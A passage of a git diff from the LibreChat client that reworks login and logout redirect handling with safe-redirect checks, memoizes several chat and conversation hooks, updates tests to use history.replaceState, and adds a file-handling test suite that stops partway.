         navigate(`/login/2fa?tempToken=${tempToken}`, { replace: true });
         return;
       }
@@ -91,16 +98,34 @@ const AuthContextProvider = ({
     onError: (error: TResError | unknown) => {
       const resError = error as TResError;
       doSetError(resError.message);
-      navigate('/login', { replace: true });
+      // Preserve a valid redirect_to across login failures so the deep link survives retries.
+      // Cannot use buildLoginRedirectUrl() here — it reads the current pathname (already /login)
+      // and would return plain /login, dropping the redirect_to destination.
+      const redirectTo = new URLSearchParams(window.location.search).get('redirect_to');
+      const loginPath =
+        redirectTo && isSafeRedirect(redirectTo)
+          ? `/login?redirect_to=${encodeURIComponent(redirectTo)}`
+          : '/login';
+      navigate(loginPath, { replace: true });
     },
   });
   const logoutUser = useLogoutUserMutation({
     onSuccess: (data) => {
+      if (data.redirect) {
+        /** data.redirect is the IdP's end_session_endpoint URL — an absolute URL generated
+         * server-side from trusted IdP metadata (not user input), so isSafeRedirect is bypassed.
+         * setUserContext is debounced (50ms) and won't fire before page unload, so clear the
+         * axios Authorization header synchronously to prevent in-flight requests. */
+        isExternalRedirectRef.current = true;
+        setTokenHeader(undefined);
+        window.location.replace(data.redirect);
+        return;
+      }
       setUserContext({
         token: undefined,
         isAuthenticated: false,
         user: undefined,
-        redirect: data.redirect ?? '/login',
+        redirect: '/login',
       });
     },
     onError: (error) => {
@@ -136,35 +161,60 @@ const AuthContextProvider = ({
       console.log('Test mode. Skipping silent refresh.');
       return;
     }
+    if (isExternalRedirectRef.current) {
+      return;
+    }
     refreshToken.mutate(undefined, {
       onSuccess: (data: t.TRefreshTokenResponse | undefined) => {
+        if (isExternalRedirectRef.current) {
+          return;
+        }
         const { user, token = '' } = data ?? {};
         if (token) {
-          setUserContext({ token, isAuthenticated: true, user });
-        } else {
-          console.log('Token is not present. User is not authenticated.');
-          if (authConfig?.test === true) {
-            return;
-          }
-          navigate('/login');
+          const storedRedirect = sessionStorage.getItem(SESSION_KEY);
+          sessionStorage.removeItem(SESSION_KEY);
+          const baseUrl = apiBaseUrl();
+          const rawPath = window.location.pathname;
+          const strippedPath =
+            baseUrl && (rawPath === baseUrl || rawPath.startsWith(baseUrl + '/'))
+              ? rawPath.slice(baseUrl.length) || '/'
+              : rawPath;
+          const currentUrl = `${strippedPath}${window.location.search}`;
+          const fallbackRedirect = isSafeRedirect(currentUrl) ? currentUrl : '/c/new';
+          const redirect =
+            storedRedirect && isSafeRedirect(storedRedirect) ? storedRedirect : fallbackRedirect;
+          setUserContext({ user, token, isAuthenticated: true, redirect });
+          return;
         }
+        console.log('Token is not present. User is not authenticated.');
+        if (authConfig?.test === true) {
+          return;
+        }
+        navigate(buildLoginRedirectUrl());
       },
       onError: (error) => {
+        if (isExternalRedirectRef.current) {
+          return;
+        }
         console.log('refreshToken mutation error:', error);
         if (authConfig?.test === true) {
           return;
         }
-        navigate('/login');
+        navigate(buildLoginRedirectUrl());
       },
     });
+    // eslint-disable-next-line react-hooks/exhaustive-deps -- deps are stable at mount; adding refreshToken causes infinite re-fire
   }, []);
 
   useEffect(() => {
+    if (isExternalRedirectRef.current) {
+      return;
+    }
     if (userQuery.data) {
       setUser(userQuery.data);
     } else if (userQuery.isError) {
       doSetError((userQuery.error as Error).message);
-      navigate('/login', { replace: true });
+      navigate(buildLoginRedirectUrl(), { replace: true });
     }
     if (error != null && error && isAuthenticated) {
       doSetError(undefined);
@@ -186,24 +236,22 @@ const AuthContextProvider = ({
   ]);
 
   useEffect(() => {
-    const handleTokenUpdate = (event) => {
+    const handleTokenUpdate = (event: CustomEvent<string>) => {
       console.log('tokenUpdated event received event');
-      const newToken = event.detail;
       setUserContext({
-        token: newToken,
+        token: event.detail,
         isAuthenticated: true,
         user: user,
       });
     };
 
-    window.addEventListener('tokenUpdated', handleTokenUpdate);
+    window.addEventListener('tokenUpdated', handleTokenUpdate as EventListener);
 
     return () => {
-      window.removeEventListener('tokenUpdated', handleTokenUpdate);
+      window.removeEventListener('tokenUpdated', handleTokenUpdate as EventListener);
     };
   }, [setUserContext, user]);
 
-  // Make the provider update only when it should
   const memoedValue = useMemo(
     () => ({
       user,
diff --git a/client/src/hooks/Chat/__tests__/useFocusChatEffect.spec.tsx b/client/src/hooks/Chat/__tests__/useFocusChatEffect.spec.tsx
index e0dbac5a1e..ba83b0aeb5 100644
--- a/client/src/hooks/Chat/__tests__/useFocusChatEffect.spec.tsx
+++ b/client/src/hooks/Chat/__tests__/useFocusChatEffect.spec.tsx
@@ -39,14 +39,12 @@ describe('useFocusChatEffect', () => {
       state: { focusChat: true },
     });
 
-    // Mock window.location
-    Object.defineProperty(window, 'location', {
-      value: {
-        pathname: '/c/new',
-        search: '',
-      },
-      writable: true,
-    });
+    // Set default window.location
+    window.history.replaceState({}, '', '/c/new');
+  });
+
+  afterEach(() => {
+    window.history.replaceState({}, '', '/');
   });
 
   describe('Basic functionality', () => {
@@ -115,14 +113,7 @@ describe('useFocusChatEffect', () => {
       testDescription: string;
     }) => {
       test(`${testDescription}`, () => {
-        // Mock window.location
-        Object.defineProperty(window, 'location', {
-          value: {
-            pathname: '/c/new',
-            search: windowLocationSearch,
-          },
-          writable: true,
-        });
+        window.history.replaceState({}, '', `/c/new${windowLocationSearch}`);
 
         // Mock React Router's location
         (useLocation as jest.Mock).mockReturnValue({
@@ -144,13 +135,7 @@ describe('useFocusChatEffect', () => {
     };
 
     test('should use window.location.search instead of location.search', () => {
-      Object.defineProperty(window, 'location', {
-        value: {
-          pathname: '/c/new',
-          search: '?agent_id=test_agent_id',
-        },
-        writable: true,
-      });
+      window.history.replaceState({}, '', '/c/new?agent_id=test_agent_id');
 
       (useLocation as jest.Mock).mockReturnValue({
         pathname: '/c/new',
@@ -223,13 +208,7 @@ describe('useFocusChatEffect', () => {
     });
 
     test('should handle navigation immediately after URL parameter changes', () => {
-      Object.defineProperty(window, 'location', {
-        value: {
-          pathname: '/c/new',
-          search: '?endpoint=openAI&model=gpt-4',
-        },
-        writable: true,
-      });
+      window.history.replaceState({}, '', '/c/new?endpoint=openAI&model=gpt-4');
 
       (useLocation as jest.Mock).mockReturnValue({
         pathname: '/c/new',
@@ -249,13 +228,7 @@ describe('useFocusChatEffect', () => {
 
       jest.clearAllMocks();
 
-      Object.defineProperty(window, 'location', {
-        value: {
-          pathname: '/c/new',
-          search: '?agent_id=agent123',
-        },
-        writable: true,
-      });
+      window.history.replaceState({}, '', '/c/new?agent_id=agent123');
 
       (useLocation as jest.Mock).mockReturnValue({
         pathname: '/c/new_changed',
@@ -275,13 +248,7 @@ describe('useFocusChatEffect', () => {
     });
 
     test('should handle undefined or null search params gracefully', () => {
-      Object.defineProperty(window, 'location', {
-        value: {
-          pathname: '/c/new',
-          search: undefined,
-        },
-        writable: true,
-      });
+      window.history.replaceState({}, '', '/c/new');
 
       (useLocation as jest.Mock).mockReturnValue({
         pathname: '/c/new',
@@ -301,14 +268,6 @@ describe('useFocusChatEffect', () => {
 
       jest.clearAllMocks();
 
-      Object.defineProperty(window, 'location', {
-        value: {
-          pathname: '/c/new',
-          search: null,
-        },
-        writable: true,
-      });
-
       (useLocation as jest.Mock).mockReturnValue({
         pathname: '/c/new',
         search: null,
@@ -327,13 +286,7 @@ describe('useFocusChatEffect', () => {
     });
 
     test('should handle navigation when location.state is null', () => {
-      Object.defineProperty(window, 'location', {
-        value: {
-          pathname: '/c/new',
-          search: '?agent_id=agent123',
-        },
-        writable: true,
-      });
+      window.history.replaceState({}, '', '/c/new?agent_id=agent123');
 
       (useLocation as jest.Mock).mockReturnValue({
         pathname: '/c/new',
@@ -348,13 +301,7 @@ describe('useFocusChatEffect', () => {
     });
 
     test('should handle navigation when location.state.focusChat is undefined', () => {
-      Object.defineProperty(window, 'location', {
-        value: {
-          pathname: '/c/new',
-          search: '?agent_id=agent123',
-        },
-        writable: true,
-      });
+      window.history.replaceState({}, '', '/c/new?agent_id=agent123');
 
       (useLocation as jest.Mock).mockReturnValue({
         pathname: '/c/new',
@@ -369,13 +316,7 @@ describe('useFocusChatEffect', () => {
     });
 
     test('should handle navigation when both search params are empty', () => {
-      Object.defineProperty(window, 'location', {
-        value: {
-          pathname: '/c/new',
-          search: '',
-        },
-        writable: true,
-      });
+      window.history.replaceState({}, '', '/c/new');
 
       (useLocation as jest.Mock).mockReturnValue({
         pathname: '/c/new',
diff --git a/client/src/hooks/Chat/useChatHelpers.ts b/client/src/hooks/Chat/useChatHelpers.ts
index 46d38d3a4d..219c370418 100644
--- a/client/src/hooks/Chat/useChatHelpers.ts
+++ b/client/src/hooks/Chat/useChatHelpers.ts
@@ -1,12 +1,11 @@
-import { useCallback, useState } from 'react';
+import { useCallback, useMemo, useRef, useState } from 'react';
 import { QueryKeys, isAssistantsEndpoint } from 'librechat-data-provider';
 import { useQueryClient } from '@tanstack/react-query';
 import { useRecoilState, useResetRecoilState, useSetRecoilState } from 'recoil';
 import type { TMessage } from 'librechat-data-provider';
 import type { ActiveJobsResponse } from '~/data-provider';
-import { useGetMessagesByConvoId, useAbortStreamMutation } from '~/data-provider';
 import useChatFunctions from '~/hooks/Chat/useChatFunctions';
-import { useAuthContext } from '~/hooks/AuthContext';
+import { useAbortStreamMutation } from '~/data-provider';
 import useNewConvo from '~/hooks/useNewConvo';
 import store from '~/store';
 
@@ -17,7 +16,6 @@ export default function useChatHelpers(index = 0, paramId?: string) {
   const [filesLoading, setFilesLoading] = useState(false);
 
   const queryClient = useQueryClient();
-  const { isAuthenticated } = useAuthContext();
   const abortMutation = useAbortStreamMutation();
 
   const { newConversation } = useNewConvo(index);
@@ -29,15 +27,15 @@ export default function useChatHelpers(index = 0, paramId?: string) {
   Falling back to conversationId (Recoil) only if paramId is not available */
   const queryParam = paramId === 'new' ? paramId : (paramId ?? conversationId ?? '');
 
-  /* Messages: here simply to fetch, don't export and use `getMessages()` instead */
-
-  const { data: _messages } = useGetMessagesByConvoId(queryParam, {
-    enabled: isAuthenticated,
-  });
-
   const resetLatestMessage = useResetRecoilState(store.latestMessageFamily(index));
   const [isSubmitting, setIsSubmitting] = useRecoilState(store.isSubmittingFamily(index));
   const [latestMessage, setLatestMessage] = useRecoilState(store.latestMessageFamily(index));
+
+  const latestMessageId = latestMessage?.messageId;
+  const latestMessageDepth = latestMessage?.depth;
+  const latestMessageRef = useRef(latestMessage);
+  latestMessageRef.current = latestMessage;
+
   const setSiblingIdx = useSetRecoilState(
     store.messagesSiblingIdxFamily(latestMessage?.parentMessageId ?? null),
   );
@@ -77,7 +75,7 @@ export default function useChatHelpers(index = 0, paramId?: string) {
 
   const setSubmission = useSetRecoilState(store.submissionByIndex(index));
 
-  const { ask, regenerate } = useChatFunctions({
+  const { ask: _ask, regenerate: _regenerate } = useChatFunctions({
     index,
     files,
     setFiles,
@@ -90,8 +88,20 @@ export default function useChatHelpers(index = 0, paramId?: string) {
     setLatestMessage,
   });
 
-  const continueGeneration = () => {
-    if (!latestMessage) {
+  const askRef = useRef(_ask);
+  askRef.current = _ask;
+  const ask: typeof _ask = useCallback((...args) => askRef.current(...args), []);
+
+  const regenerateRef = useRef(_regenerate);
+  regenerateRef.current = _regenerate;
+  const regenerate: typeof _regenerate = useCallback(
+    (...args) => regenerateRef.current(...args),
+    [],
+  );
+
+  const continueGeneration = useCallback(() => {
+    const currentLatest = latestMessageRef.current;
+    if (!currentLatest) {
       console.error('Failed to regenerate the message: latestMessage not found.');
       return;
     }
@@ -99,7 +109,7 @@ export default function useChatHelpers(index = 0, paramId?: string) {
     const messages = getMessages();
 
     const parentMessage = messages?.find(
-      (element) => element.messageId == latestMessage.parentMessageId,
+      (element) => element.messageId == currentLatest.parentMessageId,
     );
 
     if (parentMessage && parentMessage.isCreatedByUser) {
@@ -109,7 +119,7 @@ export default function useChatHelpers(index = 0, paramId?: string) {
         'Failed to regenerate the message: parentMessage not found, or not created by user.',
       );
     }
-  };
+  }, [getMessages, ask]);
 
   /**
    * Stop generation - for non-assistants endpoints, calls abort endpoint first.
@@ -153,64 +163,107 @@ export default function useChatHelpers(index = 0, paramId?: string) {
     }
   }, [conversationId, endpoint, endpointType, abortMutation, clearAllSubmissions, queryClient]);
 
-  const handleStopGenerating = (e: React.MouseEvent<HTMLButtonElement>) => {
-    e.preventDefault();
-    stopGenerating();
-  };
+  const handleStopGenerating = useCallback(
+    (e: React.MouseEvent<HTMLButtonElement>) => {
+      e.preventDefault();
+      stopGenerating();
+    },
+    [stopGenerating],
+  );
 
-  const handleRegenerate = (e: React.MouseEvent<HTMLButtonElement>) => {
-    e.preventDefault();
-    const parentMessageId = latestMessage?.parentMessageId ?? '';
-    if (!parentMessageId) {
-      console.error('Failed to regenerate the message: parentMessageId not found.');
-      return;
-    }
-    regenerate({ parentMessageId });
-  };
+  const handleRegenerate = useCallback(
+    (e: React.MouseEvent<HTMLButtonElement>) => {
+      e.preventDefault();
+      const parentMessageId = latestMessageRef.current?.parentMessageId ?? '';
+      if (!parentMessageId) {
+        console.error('Failed to regenerate the message: parentMessageId not found.');
+        return;
+      }
+      regenerate({ parentMessageId });
+    },
+    [regenerate],
+  );
 
-  const handleContinue = (e: React.MouseEvent<HTMLButtonElement>) => {
-    e.preventDefault();
-    continueGeneration();
-    setSiblingIdx(0);
-  };
+  const handleContinue = useCallback(
+    (e: React.MouseEvent<HTMLButtonElement>) => {
+      e.preventDefault();
+      continueGeneration();
+      setSiblingIdx(0);
+    },
+    [continueGeneration, setSiblingIdx],
+  );
 
   const [preset, setPreset] = useRecoilState(store.presetByIndex(index));
   const [showPopover, setShowPopover] = useRecoilState(store.showPopoverFamily(index));
   const [abortScroll, setAbortScroll] = useRecoilState(store.abortScrollFamily(index));
   const [optionSettings, setOptionSettings] = useRecoilState(store.optionSettingsFamily(index));
 
-  return {
-    newConversation,
-    conversation,
-    setConversation,
-    // getConvos,
-    // setConvos,
-    isSubmitting,
-    setIsSubmitting,
-    getMessages,
-    setMessages,
-    setSiblingIdx,
-    latestMessage,
-    setLatestMessage,
-    resetLatestMessage,
-    ask,
-    index,
-    regenerate,
-    stopGenerating,
-    handleStopGenerating,
-    handleRegenerate,
-    handleContinue,
-    showPopover,
-    setShowPopover,
-    abortScroll,
-    setAbortScroll,
-    preset,
-    setPreset,
-    optionSettings,
-    setOptionSettings,
-    files,
-    setFiles,
-    filesLoading,
-    setFilesLoading,
-  };
+  return useMemo(
+    () => ({
+      newConversation,
+      conversation,
+      setConversation,
+      isSubmitting,
+      setIsSubmitting,
+      getMessages,
+      setMessages,
+      setSiblingIdx,
+      latestMessageId,
+      latestMessageDepth,
+      setLatestMessage,
+      resetLatestMessage,
+      ask,
+      index,
+      regenerate,
+      stopGenerating,
+      handleStopGenerating,
+      handleRegenerate,
+      handleContinue,
+      showPopover,
+      setShowPopover,
+      abortScroll,
+      setAbortScroll,
+      preset,
+      setPreset,
+      optionSettings,
+      setOptionSettings,
+      files,
+      setFiles,
+      filesLoading,
+      setFilesLoading,
+    }),
+    [
+      newConversation,
+      conversation,
+      setConversation,
+      isSubmitting,
+      setIsSubmitting,
+      getMessages,
+      setMessages,
+      setSiblingIdx,
+      latestMessageId,
+      latestMessageDepth,
+      setLatestMessage,
+      resetLatestMessage,
+      ask,
+      index,
+      regenerate,
+      stopGenerating,
+      handleStopGenerating,
+      handleRegenerate,
+      handleContinue,
+      showPopover,
+      setShowPopover,
+      abortScroll,
+      setAbortScroll,
+      preset,
+      setPreset,
+      optionSettings,
+      setOptionSettings,
+      files,
+      setFiles,
+      filesLoading,
+      setFilesLoading,
+    ],
+  );
 }
diff --git a/client/src/hooks/Conversations/index.ts b/client/src/hooks/Conversations/index.ts
index 6c35ad5da9..2659ace457 100644
--- a/client/src/hooks/Conversations/index.ts
+++ b/client/src/hooks/Conversations/index.ts
@@ -4,6 +4,7 @@ export { default as useDefaultConvo } from './useDefaultConvo';
 export { default as useSearchEnabled } from './useSearchEnabled';
 export { default as useGenerateConvo } from './useGenerateConvo';
 export { default as useDebouncedInput } from './useDebouncedInput';
+export { default as useGetConversation } from './useGetConversation';
 export { default as useBookmarkSuccess } from './useBookmarkSuccess';
 export { default as useNavigateToConvo } from './useNavigateToConvo';
 export { default as useSetIndexOptions } from './useSetIndexOptions';
diff --git a/client/src/hooks/Conversations/useDefaultConvo.ts b/client/src/hooks/Conversations/useDefaultConvo.ts
index 67a40ce64e..697854924b 100644
--- a/client/src/hooks/Conversations/useDefaultConvo.ts
+++ b/client/src/hooks/Conversations/useDefaultConvo.ts
@@ -1,3 +1,4 @@
+import { useCallback } from 'react';
 import { useGetModelsQuery } from 'librechat-data-provider/react-query';
 import { excludedKeys, getDefaultParamsEndpoint } from 'librechat-data-provider';
 import type {
@@ -22,57 +23,55 @@ const useDefaultConvo = () => {
   const { data: endpointsConfig = {} as TEndpointsConfig } = useGetEndpointsQuery();
   const { data: modelsConfig = {} as TModelsConfig } = useGetModelsQuery();
 
-  const getDefaultConversation = ({
-    conversation: _convo,
-    preset,
-    cleanInput,
-    cleanOutput,
-  }: TDefaultConvo) => {
-    const endpoint = getDefaultEndpoint({
-      convoSetup: preset as TPreset,
-      endpointsConfig,
-    });
+  const getDefaultConversation = useCallback(
+    ({ conversation: _convo, preset, cleanInput, cleanOutput }: TDefaultConvo) => {
+      const endpoint = getDefaultEndpoint({
+        convoSetup: preset as TPreset,
+        endpointsConfig,
+      });
 
-    const models = modelsConfig[endpoint ?? ''] || [];
-    const conversation = { ..._convo };
-    if (cleanInput === true) {
-      for (const key in conversation) {
+      const models = modelsConfig[endpoint ?? ''] || [];
+      const conversation = { ..._convo };
+      if (cleanInput === true) {
+        for (const key in conversation) {
+          if (excludedKeys.has(key) && !exceptions.has(key)) {
+            continue;
+          }
+          if (conversation[key] == null) {
+            continue;
+          }
+          conversation[key] = undefined;
+        }
+      }
+
+      const defaultParamsEndpoint = getDefaultParamsEndpoint(endpointsConfig, endpoint);
+
+      const defaultConvo = buildDefaultConvo({
+        conversation: conversation as TConversation,
+        endpoint,
+        lastConversationSetup: preset as TConversation,
+        models,
+        defaultParamsEndpoint,
+      });
+
+      if (!cleanOutput) {
+        return defaultConvo;
+      }
+
+      for (const key in defaultConvo) {
         if (excludedKeys.has(key) && !exceptions.has(key)) {
           continue;
         }
-        if (conversation[key] == null) {
+        if (defaultConvo[key] == null) {
           continue;
         }
-        conversation[key] = undefined;
+        defaultConvo[key] = undefined;
       }
-    }
 
-    const defaultParamsEndpoint = getDefaultParamsEndpoint(endpointsConfig, endpoint);
-
-    const defaultConvo = buildDefaultConvo({
-      conversation: conversation as TConversation,
-      endpoint,
-      lastConversationSetup: preset as TConversation,
-      models,
-      defaultParamsEndpoint,
-    });
-
-    if (!cleanOutput) {
       return defaultConvo;
-    }
-
-    for (const key in defaultConvo) {
-      if (excludedKeys.has(key) && !exceptions.has(key)) {
-        continue;
-      }
-      if (defaultConvo[key] == null) {
-        continue;
-      }
-      defaultConvo[key] = undefined;
-    }
-
-    return defaultConvo;
-  };
+    },
+    [endpointsConfig, modelsConfig],
+  );
 
   return getDefaultConversation;
 };
diff --git a/client/src/hooks/Conversations/useGetConversation.ts b/client/src/hooks/Conversations/useGetConversation.ts
new file mode 100644
index 0000000000..3b63e79f7f
--- /dev/null
+++ b/client/src/hooks/Conversations/useGetConversation.ts
@@ -0,0 +1,14 @@
+import { useRecoilCallback } from 'recoil';
+import type { TConversation } from 'librechat-data-provider';
+import store from '~/store';
+
+export default function useGetConversation(index: string | number = 0) {
+  return useRecoilCallback(
+    ({ snapshot }) =>
+      () =>
+        snapshot
+          .getLoadable(store.conversationByKeySelector(index))
+          .getValue() as TConversation | null,
+    [index],
+  );
+}
diff --git a/client/src/hooks/Conversations/usePresets.ts b/client/src/hooks/Conversations/usePresets.ts
index 90ca5ab132..2165e1966e 100644
--- a/client/src/hooks/Conversations/usePresets.ts
+++ b/client/src/hooks/Conversations/usePresets.ts
@@ -13,19 +13,20 @@ import {
   useGetPresetsQuery,
 } from '~/data-provider';
 import { cleanupPreset, removeUnavailableTools, getConvoSwitchLogic } from '~/utils';
+import useGetConversation from '~/hooks/Conversations/useGetConversation';
 import useDefaultConvo from '~/hooks/Conversations/useDefaultConvo';
 import { useAuthContext } from '~/hooks/AuthContext';
 import { NotificationSeverity } from '~/common';
 import useNewConvo from '~/hooks/useNewConvo';
-import { useChatContext } from '~/Providers';
 import { useLocalize } from '~/hooks';
 import store from '~/store';
 
-export default function usePresets() {
+export default function usePresets(index = 0) {
   const localize = useLocalize();
   const hasLoaded = useRef(false);
   const queryClient = useQueryClient();
   const { showToast } = useToastContext();
+  const getConversation = useGetConversation(index);
   const { user, isAuthenticated } = useAuthContext();
   const [showDeleteDialog, setShowDeleteDialog] = useState(false);
   const [presetToDelete, setPresetToDelete] = useState<TPreset | null>(null);
@@ -35,7 +36,9 @@ export default function usePresets() {
   const setPresetModalVisible = useSetRecoilState(store.presetModalVisible);
   const [_defaultPreset, setDefaultPreset] = useRecoilState(store.defaultPreset);
   const presetsQuery = useGetPresetsQuery({ enabled: !!user && isAuthenticated });
-  const { preset, conversation, index, setPreset } = useChatContext();
+  const preset = useRecoilValue(store.presetByIndex(index));
+  const setPreset = useSetRecoilState(store.presetByIndex(index));
+  const conversationId = useRecoilValue(store.conversationIdByIndex(index));
   const { data: modelsData } = useGetModelsQuery();
   const { newConversation } = useNewConvo(index);
 
@@ -60,13 +63,13 @@ export default function usePresets() {
       return;
     }
     setDefaultPreset(defaultPreset);
-    if (!conversation?.conversationId || conversation.conversationId === 'new') {
+    if (!conversationId || conversationId === 'new') {
       newConversation({ preset: defaultPreset, modelsData, disableParams: true });
     }
     hasLoaded.current = true;
     // dependencies are stable and only needed once
     // eslint-disable-next-line react-hooks/exhaustive-deps
-  }, [presetsQuery.data, user, modelsData]);
+  }, [presetsQuery.data, user, modelsData, conversationId]);
 
   const setPresets = useCallback(
     (presets: TPreset[]) => {
@@ -164,6 +167,7 @@ export default function usePresets() {
       return;
     }
 
+    const conversation = getConversation();
     const newPreset = removeUnavailableTools(_newPreset, availableTools);
 
     const toastTitle = newPreset.title
diff --git a/client/src/hooks/Endpoint/useKeyDialog.ts b/client/src/hooks/Endpoint/useKeyDialog.ts
index d783320fd6..89a156f57a 100644
--- a/client/src/hooks/Endpoint/useKeyDialog.ts
+++ b/client/src/hooks/Endpoint/useKeyDialog.ts
@@ -1,4 +1,4 @@
-import { useState, useCallback } from 'react';
+import { useState, useCallback, useMemo } from 'react';
 import { EModelEndpoint } from 'librechat-data-provider';
 
 export const useKeyDialog = () => {
@@ -15,24 +15,30 @@ export const useKeyDialog = () => {
     [],
   );
 
-  const onOpenChange = (open: boolean) => {
-    if (!open && keyDialogEndpoint) {
-      const button = document.getElementById(`endpoint-${keyDialogEndpoint}-settings`);
-      if (button) {
-        setTimeout(() => {
-          button.focus();
-        }, 5);
+  const onOpenChange = useCallback(
+    (open: boolean) => {
+      if (!open && keyDialogEndpoint) {
+        const button = document.getElementById(`endpoint-${keyDialogEndpoint}-settings`);
+        if (button) {
+          setTimeout(() => {
+            button.focus();
+          }, 5);
+        }
       }
-    }
-    setKeyDialogOpen(open);
-  };
+      setKeyDialogOpen(open);
+    },
+    [keyDialogEndpoint],
+  );
 
-  return {
-    keyDialogOpen,
-    keyDialogEndpoint,
-    onOpenChange,
-    handleOpenKeyDialog,
-  };
+  return useMemo(
+    () => ({
+      keyDialogOpen,
+      keyDialogEndpoint,
+      onOpenChange,
+      handleOpenKeyDialog,
+    }),
+    [keyDialogOpen, keyDialogEndpoint, onOpenChange, handleOpenKeyDialog],
+  );
 };
 
 export default useKeyDialog;
diff --git a/client/src/hooks/Files/__tests__/useFileHandling.test.ts b/client/src/hooks/Files/__tests__/useFileHandling.test.ts
new file mode 100644
index 0000000000..0a07c5f2b4
--- /dev/null
+++ b/client/src/hooks/Files/__tests__/useFileHandling.test.ts
@@ -0,0 +1,289 @@
+import { renderHook, act } from '@testing-library/react';
+import { Constants, EModelEndpoint, getEndpointFileConfig } from 'librechat-data-provider';
+
+beforeAll(() => {
+  global.URL.createObjectURL = jest.fn(() => 'blob:mock-url');
+  global.URL.revokeObjectURL = jest.fn();
+});
+
+const mockShowToast = jest.fn();
+const mockSetFilesLoading = jest.fn();
+const mockMutate = jest.fn();
+
+let mockConversation: Record<string, string | null | undefined> = {};
+
+jest.mock('~/Providers/ChatContext', () => ({
+  useChatContext: jest.fn(() => ({
+    files: new Map(),
+    setFiles: jest.fn(),
+    setFilesLoading: mockSetFilesLoading,
+    conversation: mockConversation,
+  })),
+}));
+
+jest.mock('@librechat/client', () => ({
+  useToastContext: jest.fn(() => ({
+    showToast: mockShowToast,
+  })),
+}));
+
+jest.mock('recoil', () => ({
+  ...jest.requireActual('recoil'),
+  useSetRecoilState: jest.fn(() => jest.fn()),
+}));
+
+jest.mock('~/store', () => ({
+  ephemeralAgentByConvoId: jest.fn(() => ({ key: 'mock' })),
+}));
+
+jest.mock('@tanstack/react-query', () => ({
+  useQueryClient: jest.fn(() => ({
+    getQueryData: jest.fn(),
+    refetchQueries: jest.fn(),
+  })),
+}));
+
+jest.mock('~/data-provider', () => ({
+  useGetFileConfig: jest.fn(() => ({ data: null })),
+  useUploadFileMutation: jest.fn((_opts: Record<string, unknown>) => ({
+    mutate: mockMutate,
+  })),
+}));
+
+jest.mock('~/hooks/useLocalize', () => {
+  const fn = jest.fn((key: string) => key) as jest.Mock & {
+    TranslationKeys: Record<string, never>;
+  };
+  fn.TranslationKeys = {};
+  return { __esModule: true, default: fn, TranslationKeys: {} };
+});
+
+jest.mock('../useDelayedUploadToast', () => ({
+  useDelayedUploadToast: jest.fn(() => ({
+    startUploadTimer: jest.fn(),
+    clearUploadTimer: jest.fn(),
+  })),
+}));
+
+jest.mock('~/utils/heicConverter', () => ({
+  processFileForUpload: jest.fn(async (file: File) => file),
+}));
+
+jest.mock('../useClientResize', () => ({
+  __esModule: true,
+  default: jest.fn(() => ({
+    resizeImageIfNeeded: jest.fn(async (file: File) => ({ file, resized: false })),
+  })),
+}));
+
+jest.mock('../useUpdateFiles', () => ({
+  __esModule: true,
+  default: jest.fn(() => ({
+    addFile: jest.fn(),
+    replaceFile: jest.fn(),
+    updateFileById: jest.fn(),
+    deleteFileById: jest.fn(),
+  })),
+}));
+
+jest.mock('~/utils', () => ({
+  logger: { log: jest.fn() },
+  validateFiles: jest.fn(() => true),
+  cachePreview: jest.fn(),
+  getCachedPreview: jest.fn(() => undefined),
+}));
+
+const mockValidateFiles = jest.requireMock('~/utils').validateFiles;
+
+describe('useFileHandling', () => {
+  beforeEach(() => {
+    jest.clearAllMocks();
+    mockConversation = {};
+  });
+
+  const loadHook = async () => (await import('../useFileHandling')).default;
+
+  describe('endpointOverride', () => {
+    it('uses conversation endpoint when no override is provided', async () => {
+      mockConversation = {
+        conversationId: 'convo-1',
+        endpoint: 'openAI',
+        endpointType: 'custom',
+      };
+
+      const useFileHandling = await loadHook();
+      const { result } = renderHook(() => useFileHandling());
+
+      const textFile = new File(['hello'], 'test.txt', { type: 'text/plain' });
+
+      await act(async () => {
+        await result.current.handleFiles([textFile]);
+      });
+
+      expect(mockValidateFiles).toHaveBeenCalledTimes(1);
+      const validateCall = mockValidateFiles.mock.calls[0][0];
+      const configResult = getEndpointFileConfig({
+        endpoint: 'openAI',
+        endpointType: 'custom',
+        fileConfig: null,
+      });
+      expect(validateCall.endpointFileConfig).toEqual(configResult);
+    });
+
+    it('uses endpointOverride for validation instead of conversation endpoint', async () => {
+      mockConversation = {
+        conversationId: 'convo-1',
+        endpoint: 'openAI',
+        endpointType: 'custom',
+      };
+
+      const useFileHandling = await loadHook();
+      const { result } = renderHook(() =>
+        useFileHandling({ endpointOverride: EModelEndpoint.agents }),
+      );
+
+      const textFile = new File(['hello'], 'test.txt', { type: 'text/plain' });
+
+      await act(async () => {
+        await result.current.handleFiles([textFile]);
+      });
+
+      expect(mockValidateFiles).toHaveBeenCalledTimes(1);
+      const validateCall = mockValidateFiles.mock.calls[0][0];
+      const agentsConfig = getEndpointFileConfig({
+        endpoint: EModelEndpoint.agents,
+        endpointType: EModelEndpoint.agents,
+        fileConfig: null,
+      });
+      expect(validateCall.endpointFileConfig).toEqual(agentsConfig);
+    });
+
+    it('falls back to conversation endpoint when endpointOverride is undefined', async () => {
+      mockConversation = {
+        conversationId: 'convo-1',
+        endpoint: 'anthropic',
+        endpointType: undefined,
+      };
+
+      const useFileHandling = await loadHook();
+      const { result } = renderHook(() => useFileHandling({ endpointOverride: undefined }));
+
+      const textFile = new File(['hello'], 'test.txt', { type: 'text/plain' });
+
+      await act(async () => {
+        await result.current.handleFiles([textFile]);
+      });
+
+      expect(mockValidateFiles).toHaveBeenCalledTimes(1);
+      const validateCall = mockValidateFiles.mock.calls[0][0];
+      const anthropicConfig = getEndpointFileConfig({
+        endpoint: 'anthropic',
+        endpointType: undefined,
+        fileConfig: null,
+      });
+      expect(validateCall.endpointFileConfig).toEqual(anthropicConfig);
+    });
+
+    it('sends correct endpoint in upload form data when override is set', async () => {
+      mockConversation = {
+        conversationId: 'convo-1',
+        endpoint: 'openAI',
+        endpointType: 'custom',
+      };
+
+      const useFileHandling = await loadHook();
+      const { result } = renderHook(() =>
+        useFileHandling({
+          endpointOverride: EModelEndpoint.agents,
+          additionalMetadata: { agent_id: 'agent-123' },
+        }),
+      );
+
+      const textFile = new File(['hello'], 'test.txt', { type: 'text/plain' });
+
+      await act(async () => {
+        await result.current.handleFiles([textFile]);
+      });
+
+      expect(mockMutate).toHaveBeenCalledTimes(1);
+      const formData: FormData = mockMutate.mock.calls[0][0];
+      expect(formData.get('endpoint')).toBe(EModelEndpoint.agents);
+      expect(formData.get('endpointType')).toBe(EModelEndpoint.agents);
+    });
+
+    it('does not enter assistants upload path when override is agents', async () => {
